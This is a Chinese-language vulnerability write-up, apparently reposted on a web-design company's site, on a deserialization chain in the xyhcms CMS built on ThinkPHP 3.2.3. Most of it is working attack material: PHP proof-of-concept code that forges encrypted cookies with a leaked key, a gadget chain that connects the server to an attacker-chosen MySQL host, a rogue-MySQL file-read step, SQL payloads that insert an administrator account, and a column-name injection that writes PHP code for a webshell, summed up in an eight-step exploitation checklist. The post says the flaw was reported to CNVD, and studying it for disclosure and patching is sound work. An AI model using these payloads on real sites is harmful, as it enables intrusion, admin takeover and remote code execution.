這篇文章將為大家詳細講解有關(guān)如何理解xyhcms反序列化,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。
網(wǎng)站建設(shè)哪家好,找創(chuàng)新互聯(lián)!專注于網(wǎng)頁設(shè)計、網(wǎng)站建設(shè)、微信開發(fā)、重慶小程序開發(fā)、集團企業(yè)網(wǎng)站建設(shè)等服務(wù)項目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了洪湖免費建站歡迎大家使用!
2020年5月份的時候看到先知有一篇文章
https://xz.aliyun.com/t/7756
這個漏洞非常非常簡單,經(jīng)典插配置文件getshell,而且使用了<?=phpinfo();?>這種標簽風格以應(yīng)對代碼對<?php的過濾。xyhcms后續(xù)的修復(fù)方案當然是把<?也拉黑,但這種修復(fù)方案是非常消極的,我們可以看一眼配置文件。
http://demo.xyhcms.com/App/Runtime/Data/config/site.php
可以發(fā)現(xiàn)這些配置選項都是以序列化形式存儲在配置文件當中的,且為php后綴。
以安全的角度來想,既然這些配置信息不是寫在php代碼中以變量存儲(大多數(shù)cms比如discuz的做法),就不應(yīng)該以php后綴存儲。否則極易產(chǎn)生插配置文件getshell的漏洞。
即使認真過濾了php標簽,也可能產(chǎn)生xss和信息泄露的問題。
如果是以序列化形式存儲,那么配置文件不管什么后綴,都不應(yīng)該被輕易訪問到,要么像thinkphp5一樣配置文件根本不在web目錄中,要么每次建站隨機配置文件名稱。
最后,這個序列化形式存儲在文件中也有待商榷,容易產(chǎn)生反序列化問題。
當然,也可以學大多數(shù)cms的另外一個做法,配置信息存在數(shù)據(jù)庫中。
由于注意到配置文件是以反序列化方式存儲,所以我優(yōu)先搜了搜unserialize(
此cms使用的thinkphp3.2.3框架,所以下面的不用看了,只看
/App/Common/Common/function.php
發(fā)現(xiàn)get_cookie是使用的反序列化
//function get_cookie($name, $key = '@^%$y5fbl') { function get_cookie($name, $key = '') { if (!isset($_COOKIE[$name])) { return null; } $key = empty($key) ? C('CFG_COOKIE_ENCODE') : $key; $value = $_COOKIE[$name]; $key = md5($key); $sc = new \Common\Lib\SysCrypt($key); $value = $sc->php_decrypt($value); return unserialize($value); }
$key默認為空,有注釋可以固定為【@^%$y5fbl】,為空則使用CFG_COOKIE_ENCODE當key,然后md5加密$key,傳入 SysCrypt類當密鑰,加密代碼見/App/Common/Lib/SysCrypt.class.php。 $value是COOKIE中參數(shù)為$name對應(yīng)的值,用SysCrypt類的php_decrypt方法解密,解密之后是一個序列化字符串,可以被反序列化。
但這個反序列化的前提是知道key,如果被取消注釋了,那么key為【@^%$y5fbl】,如果默認沒改,就是CFG_COOKIE_ENCODE。而CFG_COOKIE_ENCODE這個值創(chuàng)建網(wǎng)站時會被隨機分配一個,且可以在后臺改。
且在/App/Runtime/Data/config/site.php中被泄露。
總結(jié)一下就是cookie傳值,site.php泄露key,這個值先被php_decrypt解密,再進行反序列化,和shiro相似。
那么找到了反序列化入口,而且是極易利用的COOKIE里面。但管理員登錄后COOKIE中并沒有加密字符串,搜一下get_cookie(,發(fā)現(xiàn)是前臺注冊會員用的。
前臺隨便注冊一個會員,在COOKIE中發(fā)現(xiàn)加密字符串,里面任意一個都可以作為序列化入口。
比如nickname=XSIEblowDDRXIVJxBTcHPg5hAWsDbVVoACdcPg%3D%3D就是前臺賬戶sonomon的序列化并加密。這里用接口試一下就明白了。
PS:后面發(fā)現(xiàn)使用uid更加通用。
/xyhcms/index.php?s=/Public/loginChk.html
這里將get_cookie,set_cookie,SysCrypt相關(guān)的代碼抄一下并修改好,寫處php加解密工具。
<?php class SysCrypt { private $crypt_key; public function __construct($crypt_key) { $this -> crypt_key = $crypt_key; } public function php_encrypt($txt) { srand((double)microtime() * 1000000); $encrypt_key = md5(rand(0,32000)); $ctr = 0; $tmp = ''; for($i = 0;$i<strlen($txt);$i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]); } return base64_encode(self::__key($tmp,$this -> crypt_key)); } public function php_decrypt($txt) { $txt = self::__key(base64_decode($txt),$this -> crypt_key); $tmp = ''; for($i = 0;$i < strlen($txt); $i++) { $md5 = $txt[$i]; $tmp .= $txt[++$i] ^ $md5; } return $tmp; } private function __key($txt,$encrypt_key) { $encrypt_key = md5($encrypt_key); $ctr = 0; $tmp = ''; for($i = 0; $i < strlen($txt); $i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $txt[$i] ^ $encrypt_key[$ctr++]; } return $tmp; } public function __destruct() { $this -> crypt_key = null; } } function get_cookie($name, $key = '') { $key = 'YzYdQmSE2'; $key = md5($key); $sc = new SysCrypt($key); $value = $sc->php_decrypt($name); return unserialize($value); } function set_cookie($args, $key = '') { $key = 'YzYdQmSE2'; $value = serialize($args); $key = md5($key); $sc = new SysCrypt($key); $value = $sc->php_encrypt($value); return $value; } $a = set_cookie('luoke',''); echo $a.'<br>'; echo get_cookie($a,'');
得到加密序列化字符串
放到cookie里試一下
完美,接下來就是需要找到反序列化鏈,我們先隨便找個__destruct(修改源碼,加個var_dump(1),看能否觸發(fā)。
/Include/Library/Think/Image/Driver/Imagick.class.php
public function __destruct() { var_dump(1); empty($this->img) || $this->img->destroy(); }
寫好POC
<?php namespace Think\Image\Driver; class Imagick{ } namespace Common\Lib; class SysCrypt { private $crypt_key; public function __construct($crypt_key) { $this -> crypt_key = $crypt_key; } public function php_encrypt($txt) { srand((double)microtime() * 1000000); $encrypt_key = md5(rand(0,32000)); $ctr = 0; $tmp = ''; for($i = 0;$i<strlen($txt);$i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]); } return base64_encode(self::__key($tmp,$this -> crypt_key)); } public function php_decrypt($txt) { $txt = self::__key(base64_decode($txt),$this -> crypt_key); $tmp = ''; for($i = 0;$i < strlen($txt); $i++) { $md5 = $txt[$i]; $tmp .= $txt[++$i] ^ $md5; } return $tmp; } private function __key($txt,$encrypt_key) { $encrypt_key = md5($encrypt_key); $ctr = 0; $tmp = ''; for($i = 0; $i < strlen($txt); $i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $txt[$i] ^ $encrypt_key[$ctr++]; } return $tmp; } public function __destruct() { $this -> crypt_key = null; } } function get_cookie($name, $key = '') { $key = 'YzYdQmSE2'; $key = md5($key); $sc = new \Common\Lib\SysCrypt($key); $value = $sc->php_decrypt($name); return unserialize($value); } function set_cookie($args, $key = '') { $key = 'YzYdQmSE2'; $value = serialize($args); $key = md5($key); $sc = new \Common\Lib\SysCrypt($key); $value = $sc->php_encrypt($value); return $value; } $b = new \Think\Image\Driver\Imagick(); $a = set_cookie($b,''); echo str_replace('+','%2B',$a);
如上圖,成功以反序列化方式觸發(fā)__destruct(),后續(xù)測試發(fā)現(xiàn)也不需要登錄。那么萬事具備,只差反序列化鏈,但是眾所周知thinkphp5.x都已被審計出反序列化鏈,thinkphp3.2.3卻并不存在反序列化鏈,9月份時我問某個群里,也都說的沒有。
我自己的找鏈思路如下,全局找__destruct()就只有一個靠譜的。
/Include/Library/Think/Image/Driver/Imagick.class.php
public function __destruct() { empty($this->img) || $this->img->destroy(); }
$this->img可控,也就是說可以觸發(fā)任意類的destroy方法,或者觸發(fā)__call方法。__call沒有任何靠譜的,反倒是destroy()兩個都比較靠譜。
/Include/Library/Think/Session/Driver/Db.class.php
/Include/Library/Think/Session/Driver/Memcache.class.php
Db.class看起來可以SQL注入,而Memcache.class看起來可以執(zhí)行任意類的delete方法。但兩者的destroy方法都有個問題,必須要傳入一個$sessID參數(shù),而Imagick.class的destroy并不能傳參。所以在這兒就斷掉了。
當時我在php7環(huán)境中測試,這個東西卡死我了,后來有人找出了thinkphp3.2.3的反序列化鏈,我才明白原來換php5就行了。直罵自己菜,對php版本特性知道的太少了,否則我可能早就審計出thinkphp3.2.3的反序列化鏈了。
https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA
<?php function a($test){ echo 'print '.$test; phpinfo(); } a();
這樣的代碼在php7中無法執(zhí)行,在php5中雖然會報錯,但依舊會執(zhí)行。
將環(huán)境切換到php5, Db.class由于沒有MySQL_connect()建立連接,所以無法執(zhí)行SQL。
public function destroy($sessID) { $hander = is_array($this->hander)?$this->hander[0]:$this->hander; mysql_query("DELETE FROM ".$this->sessionTable." WHERE session_id = '$sessID'",$hander); if(mysql_affected_rows($hander)) return true; return false; }
只能Memcache.class
public function destroy($sessID) { return $this->handle->delete($this->sessionName.$sessID); }
$this->handle和$this->sessionName均可控,此時等于可執(zhí)行任意類的delete方法。
此時找delete方法,發(fā)現(xiàn)都跟數(shù)據(jù)庫有關(guān),且必須傳輸數(shù)組,由于$this->sessionName.$sessID必定是個字符串,所以得找一個能轉(zhuǎn)數(shù)組的。
/Include/Library/Think/Model.class.php
public function delete($options = array()) { $pk = $this->getPk(); if (empty($options) && empty($this->options['where'])) { if (!empty($this->data) && isset($this->data[$pk])) { return $this->delete($this->data[$pk]); } else { return false; }
getPk()代碼簡短,直接返回$this->pk。
public function getPk() { return $this->pk; }
那么$pk,$this->options,$this->data均可控,此時又調(diào)用了delete()自己一次,所以等于可以帶參數(shù)使用delete方法了。
后面一系列參數(shù)都不影響代碼執(zhí)行,最終來到
$result = $this->db->delete($options);
等于利用Model.class作為跳板,可以帶參數(shù)執(zhí)行任意類的delete方法。
/Include/Library/Think/Db/Driver.class.php
public function delete($options=array()) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $table = $this->parseTable($options['table']); $sql = 'DELETE FROM '.$table; if(strpos($table,',')){ if(!empty($options['using'])){ $sql .= ' USING '.$this->parseTable($options['using']).' '; } $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:''); } $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:''); if(!strpos($table,',')){ $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'') .$this->parseLimit(!empty($options['limit'])?$options['limit']:''); } $sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:''); return $this->execute($sql,!empty($options['fetch_sql']) ? true : false); }
此處在拼接$options數(shù)組中的SQL語句,最終放在$this->execute方法中執(zhí)行。
public function execute($str,$fetchSql=false) { $this->initConnect(true); if ( !$this->_linkID ) return false; $this->queryStr = $str; if(!empty($this->bind)){ $that = $this; $this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '_cf4 .$that->escapeString($val).'_cf5 ; },$this->bind)); } if($fetchSql){ return $this->queryStr; }
跟進$this->initConnect()
protected function initConnect($master=true) { if(!empty($this->config['deploy'])) $this->_linkID = $this->multiConnect($master); else if ( !$this->_linkID ) $this->_linkID = $this->connect(); }
跟進$this->connect()
public function connect($config='',$linkNum=0,$autoConnection=false) { if ( !isset($this->linkID[$linkNum]) ) { if(empty($config)) $config = $this->config; try{ if(empty($config['dsn'])) { $config['dsn'] = $this->parseDsn($config); } if(version_compare(PHP_VERSION,'5.3.6','<=')){ $this->options[PDO::ATTR_EMULATE_PREPARES] = false; } $this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options); }catch ($e) { if($autoConnection){ trace($e->getMessage(),'','ERR'); return $this->connect($autoConnection,$linkNum); }else{ E($e->getMessage()); } } } return $this->linkID[$linkNum]; }
可以發(fā)現(xiàn)最終是以PDO建立數(shù)據(jù)庫連接,$config 也就是$this->config可控,等于我們可以連接任意數(shù)據(jù)庫,然后執(zhí)行SQL語句。
可以參考https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA寫出POC。
<?php namespace Think\Db\Driver; use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true ); protected $config = array( "dsn" => "mysql:host=localhost;dbname=xyhcms;port=3306", "username" => "root", "password" => "root" ); } namespace Think; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null; public function __construct(){ $this->db = new \Think\Db\Driver\Mysql(); $this->options['where'] = ''; $this->pk = 'luoke'; $this->data[$this->pk] = array( "table" => "xyh_admin_log", "where" => "id=0" ); } } namespace Think\Session\Driver; class Memcache{ protected $handle; public function __construct() { $this->handle = new \Think\Model(); } } namespace Think\Image\Driver; class Imagick{ private $img; public function __construct() { $this->img = new \Think\Session\Driver\Memcache(); } } namespace Common\Lib; class SysCrypt{ private $crypt_key; public function __construct($crypt_key) { $this -> crypt_key = $crypt_key; } public function php_encrypt($txt) { srand((double)microtime() * 1000000); $encrypt_key = md5(rand(0,32000)); $ctr = 0; $tmp = ''; for($i = 0;$i<strlen($txt);$i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]); } return base64_encode(self::__key($tmp,$this -> crypt_key)); } public function php_decrypt($txt) { $txt = self::__key(base64_decode($txt),$this -> crypt_key); $tmp = ''; for($i = 0;$i < strlen($txt); $i++) { $md5 = $txt[$i]; $tmp .= $txt[++$i] ^ $md5; } return $tmp; } private function __key($txt,$encrypt_key) { $encrypt_key = md5($encrypt_key); $ctr = 0; $tmp = ''; for($i = 0; $i < strlen($txt); $i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $txt[$i] ^ $encrypt_key[$ctr++]; } return $tmp; } public function __destruct() { $this -> crypt_key = null; } } function get_cookie($name, $key = '') { $key = '7q6Gw97sh'; $key = md5($key); $sc = new \Common\Lib\SysCrypt($key); $value = $sc->php_decrypt($name); return unserialize($value); } function set_cookie($args, $key = '') { $key = '7q6Gw97sh'; $value = serialize($args); $key = md5($key); $sc = new \Common\Lib\SysCrypt($key); $value = $sc->php_encrypt($value); return $value; } $b = new \Think\Image\Driver\Imagick(); $a = set_cookie($b,''); echo str_replace('+','%2B',$a);
成功執(zhí)行SQL語句,但很顯然,這幾乎是無危害的,因為你得知道別人數(shù)據(jù)庫賬戶密碼,或者填自己服務(wù)器的賬戶密碼。文章中提到了利用惡意mysql服務(wù)器讀取文件。
https://github.com/Gifts/Rogue-MySql-Server
文件讀取需要絕對路徑,可以猜測,也可以訪問如下文件,php報錯可能會爆出。
/App/Api/Conf/config.php
/App/Api/Controller/ApiCommonController.class.php
/App/Common/LibTag/Other.class.php
/App/Common/Model/ArcViewModel.class.php
得到絕對路徑后,修改python腳本增加filelist為D:\\xampp\\htdocs\\xyhcms\\App\\Common\\Conf\\db.php,修改POC數(shù)據(jù)庫連接地址,成功讀取配置文件。
讀取到了本地的數(shù)據(jù)庫之后,POC更換數(shù)據(jù)庫地址,PDO默認支持堆疊,所以可以直接操作數(shù)據(jù)庫。這里簡單一點可以新增一個管理員上去。
"where" => "id=0;insert into xyhcms.xyh_admin (id,username,password,encrypt,user_type,is_lock,login_num) VALUES (222,'test','88bf2f72156e8e2accc2215f7a982a83','sggFkZ',9,0,4);"
/xyhai.php?s=/Login/index
test/123456登錄
如果需要注數(shù)據(jù),可以嘗試把數(shù)據(jù)插在一些無關(guān)緊要的地方,比如留言板。
"where" => "id=0; update xyhcms.xyh_guestbook set content=user() where id=1;"
/index.php?s=/Guestbook/index.html
同理,權(quán)限足夠也可以直接利用outfile或者general_log來getshell。
如果權(quán)限不夠怎么辦呢?使用序列化數(shù)據(jù)存儲為php文件實在非常危險,翻翻緩存文件夾。發(fā)現(xiàn)數(shù)據(jù)庫列的信息也以序列化形式存儲在php文件當中。
/App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php
此時我們需要清理一下緩存
然后反序列化操縱mysql新增一個無關(guān)緊要的列名為<script language='php'>phpinfo();</script>
PS:這里不能用問號,暫時不清楚原因。
"where" => "id=0; alter table xyh_guestbook add column `<script language='php'>phpinfo();</script>` varchar(10);"
最后再訪問一下前臺的留言板,或者后臺的留言本管理,生成緩存文件。
/index.php?s=/Guestbook/index.html
最終getshell
/App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php
1,要求php5.x版本
2,/App/Runtime/Data/config/site.php泄露CFG_COOKIE_ENCODE
3,制作POC,獲得反序列化payload
4,最好開放會員注冊,檢查/index.php?s=/Home/Public/login.html
然后向/index.php?s=/Public/loginChk.html,/index.php?s=/Home/Member/index.html等需要cookie的接口傳遞paylaod。Cookie鍵值為uid,nickname等。
5,訪問一些php文件,通過報錯獲取絕對路徑。
6,通過惡意mysql服務(wù)器,讀取配置文件,獲取數(shù)據(jù)庫信息。
7,操作數(shù)據(jù)庫。
8,getshell
這是一個非常冗長而有意思的漏洞利用鏈。
已上交CNVD-2021-05552
關(guān)于如何理解xyhcms反序列化就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
分享標題:如何理解xyhcms反序列化
當前URL:http://muchs.cn/article46/picjeg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供域名注冊、靜態(tài)網(wǎng)站、網(wǎng)站設(shè)計公司、App設(shè)計、面包屑導(dǎo)航、網(wǎng)站維護
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)